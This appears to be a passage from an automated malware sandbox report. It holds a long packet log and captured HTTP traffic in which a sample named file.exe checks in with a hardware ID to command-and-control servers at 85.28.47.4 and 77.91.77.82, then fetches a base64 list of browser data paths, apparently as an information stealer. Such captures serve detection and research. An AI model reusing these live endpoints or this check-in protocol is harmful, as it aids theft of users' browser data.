Jul 2, 2024 15:29:45.473644018 CEST	49978	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:45.474086046 CEST	49979	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:45.480575085 CEST	80	49978	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:45.480628967 CEST	49978	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:45.480706930 CEST	80	49979	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:45.480776072 CEST	49979	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:45.481304884 CEST	49979	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:45.488060951 CEST	80	49979	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:46.217957973 CEST	80	49979	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:46.218008041 CEST	49979	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:46.222110033 CEST	49979	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:46.222533941 CEST	49980	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:46.229659081 CEST	80	49979	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:46.229708910 CEST	49979	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:46.229906082 CEST	80	49980	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:46.229974031 CEST	49980	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:46.230185986 CEST	49980	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:46.237463951 CEST	80	49980	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:46.942802906 CEST	80	49980	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:46.942944050 CEST	49980	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:47.050717115 CEST	49980	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:47.051215887 CEST	49981	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:47.056087971 CEST	80	49981	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:47.056269884 CEST	80	49980	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:47.056451082 CEST	49980	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:47.056452036 CEST	49981	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:47.056976080 CEST	49981	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:47.061898947 CEST	80	49981	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:47.780571938 CEST	80	49981	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:47.780637026 CEST	49981	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:47.784115076 CEST	49981	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:47.784439087 CEST	49982	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:47.789238930 CEST	80	49982	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:47.789314032 CEST	49982	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:47.789511919 CEST	80	49981	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:47.789567947 CEST	49981	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:47.789794922 CEST	49982	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:47.794615984 CEST	80	49982	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:48.506207943 CEST	80	49982	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:48.509921074 CEST	49982	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:48.628731966 CEST	49982	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:48.628741026 CEST	49983	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:48.633709908 CEST	80	49983	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:48.633872986 CEST	49983	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:48.633959055 CEST	49983	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:48.634264946 CEST	80	49982	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:48.634463072 CEST	49982	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:48.642241001 CEST	80	49983	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:49.362668037 CEST	80	49983	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:49.362888098 CEST	49983	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:49.365647078 CEST	49983	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:49.369812965 CEST	49984	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:49.371901989 CEST	80	49983	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:49.374022007 CEST	49983	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:49.375426054 CEST	80	49984	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:49.378096104 CEST	49984	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:49.378096104 CEST	49984	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:49.399089098 CEST	80	49984	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:50.104490995 CEST	80	49984	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:50.104578018 CEST	49984	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:50.223298073 CEST	49984	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:50.223690987 CEST	49985	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:50.229876995 CEST	80	49985	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:50.229949951 CEST	49985	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:50.230142117 CEST	49985	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:50.230426073 CEST	80	49984	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:50.230467081 CEST	49984	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:50.234905005 CEST	80	49985	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:50.928503990 CEST	80	49985	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:50.928654909 CEST	49985	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:50.933815956 CEST	49985	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:50.933815956 CEST	49986	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:50.938683987 CEST	80	49986	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:50.938990116 CEST	80	49985	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:50.939133883 CEST	49985	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:50.939133883 CEST	49986	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:50.939742088 CEST	49986	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:50.944639921 CEST	80	49986	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:51.648855925 CEST	80	49986	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:51.648922920 CEST	49986	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:51.754827976 CEST	49986	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:51.755224943 CEST	49987	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:51.760174990 CEST	80	49987	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:51.760190010 CEST	80	49986	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:51.760270119 CEST	49986	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:51.760283947 CEST	49987	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:51.760651112 CEST	49987	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:51.765450001 CEST	80	49987	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:52.673118114 CEST	80	49987	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:52.673945904 CEST	49987	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:52.679833889 CEST	49987	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:52.679838896 CEST	49988	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:52.685173035 CEST	80	49988	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:52.685834885 CEST	80	49987	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:52.685941935 CEST	49987	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:52.685946941 CEST	49988	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:52.688349962 CEST	49988	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:52.693538904 CEST	80	49988	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:53.415971994 CEST	80	49988	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:53.417995930 CEST	49988	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:53.535345078 CEST	49988	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:53.535729885 CEST	49989	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:53.540525913 CEST	80	49988	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:53.540577888 CEST	80	49989	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:53.540582895 CEST	49988	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:53.540656090 CEST	49989	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:53.540744066 CEST	49989	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:53.545521975 CEST	80	49989	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:54.246570110 CEST	80	49989	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:54.246644974 CEST	49989	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:54.250195980 CEST	49989	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:54.250622034 CEST	49990	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:54.255526066 CEST	80	49990	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:54.255542040 CEST	80	49989	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:54.255589962 CEST	49990	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:54.255615950 CEST	49989	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:54.255872011 CEST	49990	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:54.260669947 CEST	80	49990	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:54.976174116 CEST	80	49990	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:54.980319023 CEST	49990	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:55.097501040 CEST	49991	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:55.097501993 CEST	49990	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:55.102598906 CEST	80	49991	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:55.103919029 CEST	49991	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:55.105168104 CEST	80	49990	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:55.105211020 CEST	49991	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:55.105293036 CEST	49990	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:55.110042095 CEST	80	49991	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:55.880634069 CEST	80	49991	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:55.880695105 CEST	49991	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:55.884768963 CEST	49991	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:55.885210991 CEST	49992	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:55.889945984 CEST	80	49991	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:55.889957905 CEST	80	49992	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:55.889991999 CEST	49991	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:55.890028000 CEST	49992	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:55.890356064 CEST	49992	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:55.895096064 CEST	80	49992	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:56.588350058 CEST	80	49992	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:56.588546991 CEST	49992	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:56.706696033 CEST	49992	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:56.709820032 CEST	49993	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:56.712795019 CEST	80	49992	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:56.713890076 CEST	49992	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:56.714641094 CEST	80	49993	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:56.715130091 CEST	49993	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:56.715383053 CEST	49993	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:56.720171928 CEST	80	49993	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:57.417299032 CEST	80	49993	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:57.422497988 CEST	49993	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:57.422498941 CEST	49993	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:57.424238920 CEST	49994	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:57.428097010 CEST	80	49993	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:57.429105043 CEST	80	49994	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:57.432101965 CEST	49993	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:57.432101965 CEST	49994	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:57.432271957 CEST	49994	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:57.437097073 CEST	80	49994	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:58.139986992 CEST	80	49994	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:58.140042067 CEST	49994	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:58.254471064 CEST	49994	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:58.254854918 CEST	49995	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:58.259629965 CEST	80	49994	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:58.259680986 CEST	49994	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:58.259711027 CEST	80	49995	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:58.259772062 CEST	49995	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:58.259922028 CEST	49995	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:58.264756918 CEST	80	49995	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:59.006803036 CEST	80	49995	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:59.008027077 CEST	49995	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:59.010807037 CEST	49995	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:59.010806084 CEST	49996	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:59.015713930 CEST	80	49996	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:59.015997887 CEST	49996	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:59.016063929 CEST	80	49995	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:59.016194105 CEST	49996	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:59.016195059 CEST	49995	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:59.021064043 CEST	80	49996	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:59.780644894 CEST	80	49996	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:59.780704975 CEST	49996	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:59.896806955 CEST	49996	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:59.897279024 CEST	49997	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:59.902057886 CEST	80	49996	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:59.902084112 CEST	80	49997	77.91.77.82	192.168.2.4
Jul 2, 2024 15:29:59.902115107 CEST	49996	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:59.902177095 CEST	49997	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:59.902450085 CEST	49997	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:29:59.907680988 CEST	80	49997	77.91.77.82	192.168.2.4
Jul 2, 2024 15:30:00.590081930 CEST	80	49997	77.91.77.82	192.168.2.4
Jul 2, 2024 15:30:00.593915939 CEST	49997	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:30:00.596754074 CEST	49997	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:30:00.597821951 CEST	49998	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:30:00.602731943 CEST	80	49998	77.91.77.82	192.168.2.4
Jul 2, 2024 15:30:00.603177071 CEST	80	49997	77.91.77.82	192.168.2.4
Jul 2, 2024 15:30:00.603276968 CEST	49997	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:30:00.603276968 CEST	49998	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:30:00.603730917 CEST	49998	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:30:00.608530998 CEST	80	49998	77.91.77.82	192.168.2.4
Jul 2, 2024 15:30:01.342538118 CEST	80	49998	77.91.77.82	192.168.2.4
Jul 2, 2024 15:30:01.346343994 CEST	49998	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:30:01.508318901 CEST	49998	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:30:01.508805990 CEST	49999	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:30:01.513586044 CEST	80	49998	77.91.77.82	192.168.2.4
Jul 2, 2024 15:30:01.513647079 CEST	49998	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:30:01.514558077 CEST	80	49999	77.91.77.82	192.168.2.4
Jul 2, 2024 15:30:01.514628887 CEST	49999	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:30:01.519318104 CEST	49999	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:30:01.524123907 CEST	80	49999	77.91.77.82	192.168.2.4
Jul 2, 2024 15:30:02.321993113 CEST	80	49999	77.91.77.82	192.168.2.4
Jul 2, 2024 15:30:02.325869083 CEST	49999	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:30:02.745614052 CEST	49999	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:30:02.746007919 CEST	50000	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:30:02.750890970 CEST	80	49999	77.91.77.82	192.168.2.4
Jul 2, 2024 15:30:02.750909090 CEST	80	50000	77.91.77.82	192.168.2.4
Jul 2, 2024 15:30:02.750957966 CEST	49999	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:30:02.751000881 CEST	50000	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:30:02.758433104 CEST	50000	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:30:02.763330936 CEST	80	50000	77.91.77.82	192.168.2.4
Jul 2, 2024 15:30:03.472971916 CEST	80	50000	77.91.77.82	192.168.2.4
Jul 2, 2024 15:30:03.473051071 CEST	50000	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:30:03.583002090 CEST	50000	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:30:03.583348036 CEST	50001	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:30:03.588102102 CEST	80	50001	77.91.77.82	192.168.2.4
Jul 2, 2024 15:30:03.588161945 CEST	50001	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:30:03.588186979 CEST	80	50000	77.91.77.82	192.168.2.4
Jul 2, 2024 15:30:03.588243008 CEST	50000	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:30:03.588754892 CEST	50001	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:30:03.593508959 CEST	80	50001	77.91.77.82	192.168.2.4
Jul 2, 2024 15:30:04.306062937 CEST	80	50001	77.91.77.82	192.168.2.4
Jul 2, 2024 15:30:04.306149960 CEST	50001	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:30:04.308950901 CEST	50001	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:30:04.309235096 CEST	50002	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:30:04.316363096 CEST	80	50002	77.91.77.82	192.168.2.4
Jul 2, 2024 15:30:04.316381931 CEST	80	50001	77.91.77.82	192.168.2.4
Jul 2, 2024 15:30:04.316441059 CEST	50002	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:30:04.316471100 CEST	50001	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:30:04.316667080 CEST	50002	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:30:04.322129965 CEST	80	50002	77.91.77.82	192.168.2.4
Jul 2, 2024 15:30:05.031579971 CEST	80	50002	77.91.77.82	192.168.2.4
Jul 2, 2024 15:30:05.031727076 CEST	50002	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:30:05.145548105 CEST	50002	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:30:05.145550013 CEST	50003	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:30:05.269825935 CEST	80	50003	77.91.77.82	192.168.2.4
Jul 2, 2024 15:30:05.269928932 CEST	50003	80	192.168.2.4	77.91.77.82
Jul 2, 2024 15:30:05.270401001 CEST	80	50002	77.91.77.82	192.168.2.4
Jul 2, 2024 15:30:05.270500898 CEST	50002	80	192.168.2.4	77.91.77.82

HTTP Request Dependency Graph

85.28.47.4

77.91.77.81

77.91.77.82

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	85.28.47.4	80	7508	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:25:58.625922918 CEST	408	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJJKKJJDAAAAAKFHJJDG Host: 85.28.47.4 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 38 44 42 41 44 33 43 33 30 34 33 33 34 33 30 33 37 33 35 33 31 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6a 6f 6e 79 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 47 2d 2d 0d 0a Data Ascii: ------IJJKKJJDAAAAAKFHJJDGContent-Disposition: form-data; name="hwid"E8DBAD3C30433430373531------IJJKKJJDAAAAAKFHJJDGContent-Disposition: form-data; name="build"jony------IJJKKJJDAAAAAKFHJJDG--
Jul 2, 2024 15:25:59.299519062 CEST	384	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 13:25:59 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 156 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4f 57 49 35 59 54 4e 6a 4d 54 45 77 4d 57 4d 32 4f 57 5a 6d 4e 54 4d 33 4d 6a 63 78 4d 54 4d 33 59 7a 6b 77 4f 47 46 6d 4f 54 56 6d 4e 7a 56 6c 4e 7a 4a 6d 59 7a 64 6c 4e 6d 4a 6b 5a 6d 4a 69 4f 54 49 7a 5a 54 4a 6c 4f 57 49 77 5a 54 63 34 59 54 5a 6b 4d 44 4e 6b 4e 6d 51 7a 4e 47 51 30 66 47 70 69 5a 48 52 68 61 57 70 76 64 6d 64 38 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 3d Data Ascii: OWI5YTNjMTEwMWM2OWZmNTM3MjcxMTM3YzkwOGFmOTVmNzVlNzJmYzdlNmJkZmJiOTIzZTJlOWIwZTc4YTZkMDNkNmQzNGQ0fGpiZHRhaWpvdmd8ZWltZWhydnpvZC5maWxlfDB8MHwxfDF8MXwxfDF8MXw=
Jul 2, 2024 15:25:59.300921917 CEST	465	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBAFIIJKJEGIDGDGIIDH Host: 85.28.47.4 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 41 46 49 49 4a 4b 4a 45 47 49 44 47 44 47 49 49 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 39 61 33 63 31 31 30 31 63 36 39 66 66 35 33 37 32 37 31 31 33 37 63 39 30 38 61 66 39 35 66 37 35 65 37 32 66 63 37 65 36 62 64 66 62 62 39 32 33 65 32 65 39 62 30 65 37 38 61 36 64 30 33 64 36 64 33 34 64 34 0d 0a 2d 2d 2d 2d 2d 2d 46 42 41 46 49 49 4a 4b 4a 45 47 49 44 47 44 47 49 49 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 41 46 49 49 4a 4b 4a 45 47 49 44 47 44 47 49 49 44 48 2d 2d 0d 0a Data Ascii: ------FBAFIIJKJEGIDGDGIIDHContent-Disposition: form-data; name="token"9b9a3c1101c69ff537271137c908af95f75e72fc7e6bdfbb923e2e9b0e78a6d03d6d34d4------FBAFIIJKJEGIDGDGIIDHContent-Disposition: form-data; name="message"browsers------FBAFIIJKJEGIDGDGIIDH--
Jul 2, 2024 15:25:59.479784966 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 13:25:59 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: 